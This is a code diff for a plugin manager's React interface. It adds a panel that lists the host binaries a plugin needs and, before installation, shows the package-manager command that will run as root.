b/src/workspaces/officerdev/src/apps/Plugins/PluginDetail.tsx @@ -1,5 +1,5 @@ import { Link, useSearchParams } from 'react-router'; -import { usePlugins, type PluginItem } from './usePlugins'; +import { usePlugins, type PluginDependencies, type PluginItem } from './usePlugins'; // The right panel: one plugin, and the four verbs. // @@ -52,6 +52,61 @@ const Parts = ({ has }: { has: PluginItem['has'] }) => { return <>{present.length ? present.join(' · ') : 'manifest only'}; }; +/** + * Host binaries, per binary, before anything is installed. + * + * The whole point is that this is visible BEFORE the button. Music needs `ffprobe`, and without it the + * indexer does not fail — it writes a library where every track is a bare filename and reports success. + * So "what does this need, and does this machine have it" is a question the owner answers first, not + * something they find out from a log. + * + * Rendered only when the plugin declares something. Most declare nothing, and a permanently empty + * "Requires: nothing" row is noise on every other plugin's page. + */ +const Dependencies = ({ deps }: { deps: PluginDependencies }) => { + if (!deps.items.length) return null; + + return ( +

+

Needs on this machine

+ + + {/* Three states, and they need different words. Satisfied says nothing further. Installable says + exactly what will be run as root, because that is what is being consented to. Blocked gives the + command to run by hand, which is the whole escape hatch on a machine without passwordless sudo. */} + {deps.satisfied ? null : deps.canInstall ? ( +

+ Installing this plugin will run{' '} + + {deps.manager} install {deps.packagesToInstall.join(' ')} + {' '} + as root first. +

+ ) : ( +
+

{deps.blockedReason ?? 'These cannot be installed automatically.'}

+ {deps.manualHint ? {deps.manualHint} : null} +
+ )} +
+ ); +}; + export const PluginDetail = () => { const { plugins, steps, result, running, run } = usePlugins(); const [params] = useSearchParams(); @@ -105,6 +160,8 @@ export const PluginDetail = () => { + + {/* The way in, when there is one. Only while installed AND enabled: a link to a route that is not mounted is a link to the home page, since the shell redirects an unknown path — which reads as the link being broken rather @@ -122,7 +179,14 @@ export const PluginDetail = () => {
{!plugin.installed ? ( - ) : ( diff --git a/src/workspaces/officerdev/src/apps/Plugins/usePlugins.ts b/src/workspaces/officerdev/src/apps/Plugins/usePlugins.ts index 14eb1d88..be09b677 100644 --- a/src/workspaces/officerdev/src/apps/Plugins/usePlugins.ts +++ b/src/workspaces/officerdev/src/apps/Plugins/usePlugins.ts @@ -9,6 +9,37 @@ import { useClient, getHeaders } from 'hooks/useClient'; export type PluginPermission = { key: string; label: string; description: string; ownerOnly?: boolean }; +/** One host binary the plugin shells out to, probed against this machine's PATH on every read. */ +export type DependencyItem = { + binary: string; + reason: string; + path: string | null; + present: boolean; + /** What would be installed here, or null when this machine's package manager has no entry for it. */ + packageName: string | null; +}; + +/** + * Host binaries, answered for THIS machine. + * + * Shown before the Install button rather than only in the log afterwards, because the owner is deciding + * whether to let the server run a package manager as root — and that decision needs the answer first. + * Installing the packages by hand and watching this flip to satisfied is the escape hatch on a machine + * with no passwordless sudo. + */ +export type PluginDependencies = { + /** apt | pacman | dnf | brew, or null when none was found. */ + manager: string | null; + items: DependencyItem[]; + satisfied: boolean; + canInstall: boolean; + /** Why the platform cannot install them. Written to be read by a person. */ + blockedReason: string | null; + packagesToInstall: string[]; + /** The command to run by hand. Display only — the server never executes this string. */ + manualHint: string | null; +}; + export type PluginItem = { appName: string; /** Where its routes live. `/offscale` for ours, `/p//` for everyone else. */ @@ -34,6 +65,8 @@ export type PluginItem = { * plugin that is off and one that is broken. */ processStatus: string | null; + /** Host binaries and whether this machine has them. Always present; `items` is empty for most plugins. */ + dependencies: PluginDependencies; }; /** What a verb actually did, in order. Shown rather than collapsed to a spinner. */